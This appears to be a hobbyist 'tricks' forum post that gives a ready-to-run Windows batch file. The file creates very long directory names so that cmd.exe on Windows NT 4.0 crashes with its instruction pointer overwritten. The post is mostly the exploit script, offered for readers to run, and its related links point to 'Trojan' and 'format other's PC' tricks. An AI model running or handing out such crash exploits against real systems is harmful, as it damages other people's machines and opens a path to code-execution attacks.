[Trick]Buffer overflow in CMD
Page 1 of 1
[Trick]Buffer overflow in CMD
Open Notepad,copy the following code and save it in the .bat file format.
Creates directory with 2 subdirectory. First one demonstrates buffer overflow on Windows NT 4.0 (second cd AAAAAAAAA* command will crash cmd.exe with EIP overwritten) second one demonstrates cmd.exe to change directory to AA...\BB..., but cd .. command will fail.
- Code:
@echo off
SET
A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
c:
cd \
cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
Creates directory with 2 subdirectory. First one demonstrates buffer overflow on Windows NT 4.0 (second cd AAAAAAAAA* command will crash cmd.exe with EIP overwritten) second one demonstrates cmd.exe to change directory to AA...\BB..., but cd .. command will fail.
Similar topics
» [Trick]Trojan
» [Trick]Format other's PC/Laptop
» [Trick]Change The Recycle Bin's Name
» [Trick]Increase the processor power of your computer
» [Trick]Folder Lock
» [Trick]Format other's PC/Laptop
» [Trick]Change The Recycle Bin's Name
» [Trick]Increase the processor power of your computer
» [Trick]Folder Lock
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum